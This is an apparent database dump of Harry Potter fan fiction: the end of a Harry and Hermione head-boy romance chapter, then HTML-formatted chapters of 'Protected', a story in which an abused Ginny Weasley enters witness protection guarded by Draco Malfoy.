great hall was decorated with floating candles and everyone sat at their house tables waiting for the sorting ceremony to begin. Professors Dubledore and Magonigal were seated at the head table along with Snape, Lupin, Black and Hagrid. Remus was given his position back as long as he stayed medicated and Sirius was to take over when he was ill. Harry glanced cross at the slytherin table. There creating his usual ruckus sat Draco Malfoy with his cronies Crabb and Goyle on either side. For once they weren\'t talking about Harry. It seemed that Dracos\' Mother had left his father after many long years of marriage. \n    The nervous first years shuffled into the room and the ceremony began. When it was over Dumbledore rose to make the announcements. &quot;As always the forbidden forest it off limits to all students. Also there will be a Ball at Halloween and another just before Christmas for students in year 5 and up. That is all dig in.&quot; \n    With a wave of his hand the tables came alive with hot rich food and icy cold pumpkin juice. During the meal many students came over and congratulated Harry and Hermione on getting the head boy and head girl positions. On the way back to the Gryffindor tower professor Lupin fell into step beside them. &quot;So Ron, I guess it will be weird not having Harry in the room tonight. &quot;at hogwarts the head boy and head girl had their own rooms with a small lounge room dividing them \n    &quot;I hadn\'t thought of that professor. I guess it will be pretty quiet in the room now Harry\'s snoring has gone.&quot; ron joked. professor lupin chuckled, and walked away. \n    When they got to the portrait Harry and Hermione rushed up the stairs to the top floor where their rooms were. \n    The lounge room was cozy and warm with a huge fire roaring on the far side. In the middle of the room was a dark dusty blue 3 seater couch. on the floor was a rich red rug. There was a table to the right hand side next to a door with Harry\'s name on it On the left was a large bookshelf filled with dusty old texts and Hermione\'s door. \n    &quot;Nice, I\'m going to check out my room.&quot; hermione said suddenly afraid to be alone with harry. it wasn\'t that she was worried about what he\'d do to her but more about what she\'d do to him. already her hormones were kicking in and she could feel the colour rising in her cheeks. inside her room there was a huge queen size bed with a royal purple bed spread and curtains. she had a large bay window to her left overlooking the qudditch pitch and hagrids hut. on her right was a door leading into her wardrobe and further into her very own bathroom. the tub was huge just like the prefects bathroom with a multitude of taps. it was then that she noticed a wardrobe at the other end of the tub. i have to share this with harry. the thought struck her quickly and a fire of excitement burned under her skin. slowly she walked back into her room and began to put her clothes away. \n    Harry walked into his room. It wasn\'t anything special. There was a king size bed with dark green linen and curtains. It also had a wardrobe and a window. As he started to put his stuff into the wardrobe he spied the bathroom beyond. Curious he walked around the bath past the two sinks and into harmonies wardrobe. He knocked on her wardrobe door and entered her room. \n    She was lying across her bed asleep. He chuckled, she looked so cute. Harry had often wondered about Hermione. His feelings for her were changing he knew it. Over the summer he couldn\'t get her out of his head. Late at night he would dream about her, often waking up in a sweat. To top it all off when they met at platform 9 and 3/4 he could feel himself getting aroused at the site of her. Quietly he slipped back into the bathroom and resumed filling his wardrobe. \n    Hermione lay in her bed. The moonlight shimmered into her room. It wasn\'t long before she drifted off to sleep. She sensed Harry standing over her bed. The moonlight illuminated her tangled curls and bathed her face in a silver glow. Her lips were a deep maroon in contrast to her alabaster skin. He reached out and traced his finger along her chin. She awoke. Her deep brown eyes smiled up at him and he sunk down onto her bed. As he smiled back at her his emerald eyes sparkled. As the space between them lessened, Hermione took a slight breath and parted her lips to accept his&#8230; \n    Hermione woke the next morning with a smile on her face. The dream faded back into her mind and slowly she got ready for school. Just as she finished pulling her hair back there was a knock at the door. Answering it she saw Harry dressed in his robes with a stack of papers in his hand. \n    &quot;Hi&quot; she said \n    &quot;Hi, These are our schedules for this year.&quot; he said handing her a copy \n    &quot;Potions with the Slytherins again! &quot;hermione cried. &quot;This is ridiculous. It\'s our last year and we still can\'t get away from them.&quot; \n    &quot;I know how you feel Hermione. It will be ok. I hate it just as much as you do. Want to go down to breakfast?&quot; \n    &quot;Yeah, ok.&quot; \n    The day went by quickly. Harry and Hermione spent most of it with Ron. After dinner Harry and Ron played exploding snap for a few hours. Hermione decided to get a start on her homework. About an hour later Harry walked in. He sat down at the table with his DADA homework. Hermione looked up from her Arithmancy and smiled. \n    &quot;I didn\'t expect so much from Remus, He was so cruel. I wonder if he did it deliberately.&quot; he said \n    &quot;I think it was deliberate.&quot; hermione replied with a laugh &quot;And we can\'t get out of It.&quot; \n    &quot;Hermione, I was thinking&#8230; Being head boy and girl and all, do you want to go to the umm, dances together this year?&quot; harry asked hesitantly \n    &quot;Well, it makes sense I guess.&quot; she replied with a smile. \n    &quot;Good. That\'s settled then.&quot; harry said and plunged himself back into his work about an hour later he got up and went to bed. hermione moved down onto the rug in front of the fire and continued her herbology work. \n    Harry lay awake in his bed. He hadn\'t been concentrating on his homework. All he could do was watch Hermione. After much deliberation he decided to go to bed and try again later when she had left. Lying in his bed he pictured the way her hair cascaded down her shoulders and how her lips sucked on the end of the quill when she was thinking. It didn\'t take long for him to decide that he had to tell her how he felt. \n    Jumping off his bed he opened the door to the lounge. &quot;Her-mon-e?&quot; harry smiled. she was asleep on the rug. her quill was dripping ink onto her hand. carefully he lifted her up off the floor and tucked her into bed. \n    Early that morning Harry decided to try again. He waited until she was in the bath before slipping noiselessly into her room. He opened her window. Pulling out his wand he whispered &quot;Accio 12 roses&quot; floating into the room came 12 red roses. he placed one onto her pillow and the other 11 were suspended all around the ceiling. with a quick encouragement and a time delay spell harry slipped from the room. \n    He took a seat on the couch and began to busy himself with his homework. He didn\'t have to wait long for Hermione\'s laughter to reach his ears. She came running out of her room in her towel. &quot;Harry, did you make the roses shower me with their petals?&quot; \n    Harry looked at her and smiled. She leapt onto his lap and hugged him tightly. &quot;Thank you.&quot; was all she said before returning to her room and closing the door. \n    With a smile on his face Harry made his way downstairs to breakfast. Ron looked up from his bacon sandwich and saw Harry\'s beaming face. &quot;You look like the cat that got the cream.&quot; he said. \n    &quot;I think I did.&quot; was all harry said. \n    Hermione didn\'t come down for breakfast that morning. Instead she met them all in their first class. \n    Snape was in a particularly bad mood that morning. Neville cut his roots into squares instead of oblongs and that only seemed to aggravate him even more. To make matters worse Hermione wouldn\'t look at Harry. Every time he made eye contact with her she had to look away. Did Harry really like her or was her just being nice. \n    At lunch Hermione got a letter from her cousin Liz in Australia. Her family was coming to spend Christmas break with her. Hermione liked her cousin, even if she is a gym junkie. All summer Liz had her up at dawn running along the white sand beach to the gym. An hour later they would run back home and swim laps. The rest of the day was spent shopping and sunbathing. With her thoughts turned to the balmy heat of Australia Hermione toddled down to Hagrids hut. \n    The care of magical creature\'s class went better than expected. The Maloos Hagrid had acquired produced twice as much milk as an average dairy cow, with one dangerous side affect. It had poisoned spines surrounding the teats. &quot;The trick yer need ter know is. Ter scratch her under the chin before you grab er teat.&quot; hagrid boomed. &quot;see how yer go.&quot; of course malfoy didn\'t listen to a word hagrid said and within 5 minutes he was visiting madam pomfery in the hospital wing. \n    Later that night after playing another round of exploding snap with Ron Harry returned to his room. Hermione was waiting for him as he came through the door. &quot;Harry, I want to talk to you about this morning.&quot; she said. \n    &quot;What about this morning?&quot; harry asked \n    &quot;Well. I really like you and I want to know if you did what you did because you like me too?&quot; \n    &quot;Hermione I have liked you for a very long time. I just haven\'t told you before. I didn\'t think you liked me. You\'re the reason I broke up with Sarah. \n    &quot;I am?&quot; \n    &quot;Yeah. It was starting to get serious and I didn\'t want to go there. Not with her. All I wanted was you.&quot; harry looked deep into her eyes. she returned his gaze and moistened her lips. harry moved in closer. slowly but firmly kissed her. she returned the kiss for a few seconds before pulling back. &quot;So were&#8230;&quot; she stared. harry just smiled, nodding his head and leaned in to kiss her again. \n    &quot;I have an idea. I\'ll be back in a few minutes.&quot; harry said and disappeared out the door. hermione picked up the letter from liz. she wondered if harry would come with her this christmas. she would love for liz to meet ron. *sigh* but, it was an unspoken tradition to stay at hogwarts for the christmas break. \n    Harry walked back into the room. In his hands were two glasses of iced pumpkin juice and a packet of chocolate chip Bikkies. Handing one glass to Hermione he sunk down onto the lounge beside her. &quot;Harry.&quot; she began. &quot;How would you feel about spending Christmas at my house with Ron of course. It\'s just that my cousin Liz is coming from Australia and I\'d like to see her.&quot; \n    &quot;Well, I don\'t know. I guess it would be ok. It would be weird not spending our last Christmas here. I guess if it makes you happy I\'ll come.&quot; he said at last \n    &quot;Really?&quot; hermione asked. &quot;Thank you. You\'ll have a great time. I promise.&quot; \n    &quot;Ok, But it\'s still a long way off yet.&quot; harry smiled and hermione leaned in to kiss him. a couple of minutes passed before she decided to go to bed. after numerous goodnight kisses she lay back on her bed and fell into a peaceful sleep. \n    The next morning Hermione awoke to the sound of singing. What? She thought. Is Harry singing in the bathroom? Tiptoeing out of bed she crossed the floor to her wardrobe. Peering in she watched harry sing operetta as he splashed himself with water. Giggling madly Hermione walked into the bathroom. Harry looked at her and blushed. &quot;Silencing spell didn\'t work?&quot; he muttered. \n    &quot;Nope.&quot; she giggled. &quot;didn\'t work&quot;. with a deep breath in she started to imitate harry in the bath. he swam over to where she was and grabbed her by the waits pulling her into the water fully clothed. spluttering she glared at harry. it was tense for a minute before they both burst out laughing. \n    After getting dressed Harry and Hermione held hands and went down to breakfast. Ron looked up from his scrambled eggs and smiled. &quot;Finally! He exclaimed &quot;it\'s about time.&quot; Ginny looked up from her bacon. After a few moments she glared at Hermione and walked from the hall. \n    &quot;That didn\'t go down well.&quot; hermione sighed. \n    &quot;She\'ll be ok.&quot; harry soothed. &quot;Lets eat before Herbology.&quot; \n    The next few weeks went by quickly. Harry and Hermione had barely enough time to finish their homework let alone become closer. This weekend would be different though. It was the first Hogsmede weekend of the year and all the students were going to buy their costumes for the Halloween ball. The theme was \'Popular Muggle Stereotypes\' Harry and Hermione had decided to go as a Prince Charming and Cinderella. So all they needed were crowns and costume jewelry. Ron had asked Lavender to the ball and after much deliberation she had agreed to go with him. Both of them asked Hermione for costume advice so the four of them were meeting at the three broomsticks in the morning. \n    It was an unusually hot Saturday. Hermione walked to her wardrobe. This was her chance to show off her muggle fashion sense. She opened one of her many shopping bags from Australia. pulling out her dark blue jeans and a white frilled boob tube she remembered how sexy she felt in the shop. To top off her look she added her black boots and pulled her hair into a ponytail. I hope Harry approves. She thought. Moving into the lounge she met Harry. He was wearing his dark blue jeans and a long-sleeved black top. &quot;We match.&quot; harry said with a laugh. jeans and jeans. hermione kissed him and they moved down to catch a carriage. \n    As they entered The Three Broomsticks Ron called them over. He and Lavender looked them over. &quot;Dressing the same now?\' Ron joked. &quot;that\'s what happens when you shack up together.&quot; He laughed. \n    &quot;Let\'s get a butterbeer and head over to Zonko\'s joke shop for costumes.&quot; harry suggested. they polished off their butterbeer in no time and soon joined the que to enter the shop. \n    After an hour of shopping Ron and Lavender emerged from Zonko\'s with a wooden stake, some brown hair dye and a set of vampire teeth. Lavender was going to be Buffy the vampire slayer and Ron was going to play Angel. Hermione managed to secure a crown for Harry and a Tiara for herself. Also she found some fake sapphire and diamond jewelry to go with her midnight blue ball gown. \n    \n<table></table>\n\n\n\n'),
	(259, 1, '<p class="MsoNormal"><b>A/N:</b> Hey all! I’ve\nbeen toying with this story for a while. Its been biting my brain and I needed\nto write it so bad!</p>\n<p class="MsoNormal"><b> </b></p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"><b>Title: </b><i>Protected</i></p>\n<p class="MsoNormal"><b> </b></p>\n<p class="MsoNormal"><b> </b></p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"><b>Summary: </b>Ginny is\nabused by her boyfriend. One time he knocks her around a bit too much. She ends\nup in the hospital. The Ministry puts her into the Wizard Protection Services.\nThe person they send to protect her is her family’s archenemy- Draco Malfoy.\nWill love bloom for this unlikely pair? </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “You will\nnot talk to the Longbottom git again! <i>Do you understand me?</i>” Cooper\nhissed, raising his fist to her face. Tears streaked Ginny’s smooth ivory\ncheeks. “<i>Do you?</i>” He jeered putting his face close to hers. She could\nsmell the reek of alcohol on his breath.. Ginny bit her lip so hard that blood\nraised to the surface. The sharp metallic taste of blood filled her mouth. She\nnodded. “Say it. <i>Say it!</i>” Ginny turned her head away. “You <i>bitch!</i>”\nCooper slapped her. She let out a small scream. “Shut up!” He yelled. Ginny let\nout a soft sob.</p>\n<p class="MsoNormal">         </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “I don’t\nknow why I keep you around, you bitch. You’re ugly and a prude. Not to mention\nfat as a cow.” Tears stung Ginny’s eyes as Cooper went on in his list of things\nwrong with her. This went on for about five more minutes until he lost interest\nin making her feel like something he scraped off the bottom of his shoe. He\nstormed into the bathroom but not before he punched her hard in the nose so\nthat blood began to flow, once he got to the bathroom she could hear him\nvomiting.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         She stood\nover the sink. Ginny was freely sobbing now. Her tears mixed with her blood and\nfell like rain into the basin. She could still hear Cooper getting sick in the\nbathroom. She then heard the toilet flush and saw him shuffle to their bedroom.\nFear coursed through her tiny body like an electric current. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         She stayed\nin the kitchen rooted in fear that he would feel the need to beat her again.\nGinny opted to sleep on the couch on the couch that night. She’d done that a\nlot lately. She laid on the couch and recalled every beating he gave her. She\nfelt every raw blast as if thy had hit her that second.</p>\n<p class="MsoNormal">         </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         The first\ntime he beat her had been almost six months prior to that day. She’d gone out\nwith her friend Kara Flinch-Fletchy and ended up having drinks with her and\nKara’s cousin, Justin. Cooper had been furious, even when Ginny told him over\nand over that Justin was gay. Cooper then slapped her and pulled out his wand\nand gave her a good whack-around. Ginny had felt scared to death but the next\nmorning Cooper gave her a big hug and told her he would never, ever do that\nagain. He had ‘realized’ he had no reason to be so jealous. He had ‘trust’ in\nGinny.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         Soon he\nbegan to hurt her more frequently. Before this he had been respectful of her\n‘abstinence until marriage’ rule but now he used beatings for leverage for sex.\n</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         Ginny\nwasn’t an idiot though. She knew the smartest thing would’ve been to break it\noff with Cooper the millisecond he raised his hand to her but the whole Weasley\nclan plus Hermione and Harry loved Cooper. Ginny could even swear her mother\nloved Cooper more than she loved Ginny. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         Harry, Ron\nand Hermione even set Ginny up with Cooper. They had met him at a World Wide\nYoung Quidditch Players Association meet back in her 6th year. Thy thought he\nwas the nicest guy and immediately set them up together. She knew they would\ndeny any wrongdoing of Cooper, as would anyone else in the Weasley family. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         She closed\nher eyes tightly and tried to wish herself away from this situation. But\nwhenever she closed her eyes she’s see Cooper. It made her sick. Not that\nCooper wasn’t attractive. In fact he was extremely handsome. He had black hair,\nolive skin and chiseled features. His eyes were deep midnight blue that in the\nbeginning had reflect love and passion to Ginny but now just hatred and\ndisrespect. He was most definitely leading man material but in the movie of\nGinny’s life he quickly became the villain. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         Ginny was\nnot sure how she fell asleep last night. Even if it was a restless and uneasy\nsleep. Whenever she’d drift off she’s feel the intense pain of each beating and\nshoot awake. If that wasn’t enough she finally awoke to see Cooper’s snarling\nface above her.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Where the\nhell is my breakfast, you useless bitch?” He snarled.  Ginny cringed his\nbreath was rancid- a mix of alcohol and vomit. “What are you waiting for? Go\nmake my breakfast!” </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Okay.”\nShe muttered. She was all out of sorts. She wasn’t paying attention as she\ncooked at all. She burnt the toast slightly and the bacon was charred and\nCooper was livid. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “You\nstupid, stupid, bitch! Look what you did? Am I supposed to <i>eat</i> this\ncrap?” He sputtered. Ginny sniffled. “I’ve <i>had</i> it! You are so damn\nstupid!” Cooper grabbed the first thing in sight- Ginny’s thick-bottomed frying\npan (which had been a gift from Percy) and raised it in the air. The last thing\nGinny remember was the loud <b>CRACK</b> as it bashed against her fragile\nskull. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         It must\nhad been hours later when Ginny awoke to forceful pain surging in and out of\nher body. She needed to get to a hospital. She tried to crawl to the phone but\nthe pain was unbearable. Every movement felt like a thousand knives plunging\ninto her flesh. She feebly withdrew her wand from her pocket and croaked,\n“Accio, telephone.” A small cordless telephone zoomed into her blood-caked\nhand. She weakly dialed 9-1-1 (<b>A/N:</b> Do they have that in England? I\ndon’t know…) and an operator answered. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Hello,\nEmergency help line pleas state you r emergency.” The operator said.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Help…”\nGinny muttered.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “What is\nyour emergency?”</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         </p>\n<p class="MsoNormal">         “My- my\nboyfriend… beat… me.” She choked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “With\nwhat?” The operator asked. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">        \n“F-f-frying pan.” She stammered. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “State\nwhere you are. We’ll send an ambulance and a police car.” </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “42 West\nAvenue, Upper London Flat 3C.” She tacked off. The next hour was a blur. She\nbarely remembered the police and paramedics showing up and only remembered\nwaking up it a white hospital room a few hours later. “W-what? Where am I?” She\nasked. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Good!\nYour awake!” A small man with white hair and wearing green robes said. </p>\n<p> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “W-who?”\nWas all Ginny could get out.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “I am\nHerald Berge and I am the head of the Wizard Protections Services. I am here to\nhelp you. You see your boyfriend, Cooper Govern, is a deatheater.” He said.\nGinny sucked in her breath sharply.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “What? How\ndo you know?” She asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Sources.”\nHe said simply. “The WPS would like you to join our program. You see we have\nreason to believe Mr. Govern will come after you again. If you join you will\nsurely be protected. We would give you a new identity and life. We would also\ngive you a protector. But you would have to end all contact with those you\nlove. Are you still interested?” He asked.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Yes. I\ncan’t stand being beaten. I’ll do anything, <i>anything</i> so he won’t beat me\nanymore.” Ginny said tiredly.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         </p>\n<p class="MsoNormal">         Two days\nlater Ginny was taken to the WPS head quarters. She met with Herald and they\nchose her new identity, 23-year-old Elise O’Neill. After that was finished they\nmade some small alterations to her appearance. They turned her eyes blue and\ngave her straight chestnut hair. They also told her she would be moving to New\nYork and living with her protector and two other muggles, Parker Martin and\nCharlotte Beck. She was also gravely warned that if she ever admitted to her\npast and who she really was she would be in grave danger.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “But,\nDrakey! Why do you have to go?” A tall, curvaceous blond whined, she was spread\nacross his bed leisurely watching Draco pack.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “I have to\ngo it is my job.” Draco said reasonably. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         </p>\n<p class="MsoNormal">         “Work,\nwork, work. It’s all you ever talk about. Really, I mean, you’d think you were\nthe Minister of Magic or something.”  She said offhandedly.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         </p>\n<p class="MsoNormal">         “Well I\nhave nothing else to talk about so I’m quite sorry if I bore you, Sarah-” He\nsaid.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Tara.”\nShe corrected sulkily. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Right\nthen. I must be going!” He said, slamming his suitcase shut and leaving Tara\nall alone.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Hello,\nEvelyn.”  Draco said as he entered the WPS had quarters. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Hello\nDraco.” The elderly woman responded.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Herald\ntold me to come by. He said I have a new assignment.” Draco said, going over to\nthe coffee counter to get something  to drink.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         </p>\n<p class="MsoNormal">         “You do. A\ngirl’s boyfriend knocked her around, he is also a deatheater.” She said,\nreading from a file.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Doesn’t\nHerald think I’m a bit overqualified for jobs like this?” He asked.</p>\n<p> </p>\n<p> </p>\n<p class="MsoNormal">         “You don’t\nhave seniority yet, Draco, just hold out a little longer.” Evelyn said\ncomfortingly. Draco nodded.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “What was\nthe girl’s name?” He asked, mixing his coffee.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “Umm…\nVirginia- Virginia Weasley.” Evelyn said, Draco spat his coffee back into his\nmug. </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal">         “<i>Weasley????</i>”\nHe yelped.</p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"> </p>\n<p class="MsoNormal"><b>A/N: </b>All right….\nPlease review for it if you want more!</p>\n<p class="MsoNormal">!!'),
	(259, 2, '<blockquote><b>A/N</b>:  I’m really thrilled ‘Protector’ did so well. Yea!  Happy happy… A lot of people thought I was holding you hostage for reviews. I just meant if you want me to keep this going (meaning you like it) let me know and I’ll keep it up. Otherwise I probably would’ve deleted it if no one liked it. </blockquote>  <p><b>Title</b>:<b> </b><i>Protected</i></p> <p><b>            </b></p> <blockquote><b>Disclaimer</b>:  If you think I own this you are severely mistaken. I also didn’t write <u>The Shining</u>, <u>Gone With The Wind</u>, or <u>The Parallel Universe of Liars</u> but I do recommend them. Just PLEASE don’t take all my money…</blockquote> <blockquote> </blockquote> <p><b>Summary</b>:<b> </b>Ginny is abused by her boyfriend. One time he knocks her around a bit too much. She ends up in the hospital. The Ministry puts her into the Wizard Protection Services. The person they send to protect her is her family’s archenemy- Draco Malfloy. Will love bloom for this unlikely pair? </p> <p>!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!'),
	(259, 3, ' <blockquote><b>A/N</b>:&nbsp; I&#8217;m really thrilled &#8216;Protector&#8217; did so well. Yea!&nbsp; Happy happy&#8230; A lot of people thought I was holding you hostage for reviews. I just meant if you want me to keep this going (meaning you like it) let me know and I&#8217;ll keep it up. Otherwise I probably would&#8217;ve deleted it if no one liked it. </blockquote>\n\n<blockquote>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </blockquote>\n\n<blockquote><b>Title</b>:<i>Protected</i></blockquote>\n\n<p><b>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </b></p>\n\n<blockquote><b>Disclaimer</b>:&nbsp; If you think I own this you are severely mistaken. I also didn&#8217;t write <u>The Shining</u>, <u>Gone With The Wind</u>, or <u>The Parallel Universe of Liars</u> but I do recommend them. Just PLEASE don&#8217;t take all my money&#8230;</blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote><b>Summary</b>:Ginny is abused by her boyfriend. One time he knocks her around a bit too much. She ends up in the hospital. The Ministry puts her into the Wizard Protection Services. The person they send to protect her is her family&#8217;s archenemy- Draco Malfloy. Will love bloom for this unlikely pair? </blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<blockquote>&nbsp;</blockquote>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Draco raced up to Herald&#8217;s office in record time. He knocked on the door anxiously. &#8220;Come in!&#8221; Said Herald. He swung the door open and walked in. A woman with long brown hair was sitting across from his boss. Her legs were crossed, and what beautiful legs they were. Thin and sculpted and they ended in black converse sneakers. She was wearing, what appeared to be a black shirt and a pleated jean skirt. &#8220;Come right in, boy, get acquainted with your new assignment.&#8221; He said brightly, taking a sip from his teacup in front of him. &#8216;Hmm,&#8217; Thought Draco, &#8216;This can&#8217;t be Ginny Weasley. I mean, she never was a good dresser. She always wore those disgusting Weasley sweaters and hand-me-down robes. Evelyn must&#8217;ve been wrong. <i>Must&#8217;ve</i>.&#8217; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>The girl in the chair turned around to face him. At first her face was inviting then, confused, and finally a bit angry, all the while Draco drinking in her beauty. Her hair was cut into bangs that fell a little past her eyebrows. &#8220;Herald, please, <i>please</i> tell me that this isn&#8217;t. <i>Malfloy</i>.&#8221; She stressed Malfloy a bit too much for Draco&#8217;s liking. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;Ah,&#8221; Said Herald, &#8220;You know each other. Right then, Draco, you must, then, know Virginia.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;I thought I did,&#8221; He said, &#8220;But this woman looks nothing like her. Nothing.&#8221; Draco choked. Seeing her facing him was seeing a veela. Her skin looked soft and smooth and it was ivory colored. When he had left Hogwarts Virginia Weasley was still awkward and flat chested. Now it&nbsp; was obvious she had grown up. Her chest was pleasant and not at all fake like the girls he usually gave his time too. Her face had high cheekbones and large blue eyes. Her lips were plump and shiny, a result of gloss he figured. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>Ginny couldn&#8217;t believe this person was Draco Malfloy, the boy who made her life as close to a living hell as he could. His body was brawn and you could just barely see his muscles under his muggle button down shirt. He was wearing khakis and his hair was a few shades darker than she remembered. Also his face lost most of its ferret-features but she could still conclude it would make the Malfloy smirk without fail. She noticed that he, too, was surveying her in disbelief. Could she blame him? Not so much. She hadn&#8217;t even hit her growth spurt until he was out of Hogwarts. She was just gangly little Ginny Weasley until her 7th year. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;So, Draco, your name will be Isaac Redmond this mission and she will be Elise O&#8217;Neill. You will be living in New York with two muggles.&#8221; Herald said. Draco scribbled this out on a pad of paper, which he then placed in his back pocket. &#8220;So if you have no questions you can leave.&#8221;&nbsp; Draco stood to leave but Ginny didn&#8217;t. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What about my family?&#8221; She asked. &#8220;Will I be able to talk to them&#8230; please. Just once.&#8221; She begged.&nbsp; Herald looked pained.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m sorry, Ginny. &#8220; He apologized. Tears stung her eyes. Draco had seen it every time he took a new job. Those few minutes of regret after every thing was set up. He groaned inwardly. </p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Come now, Ginny, you&#8217;ll be fine.&#8221; He said in a gruff tone. She looked at him in surprise. 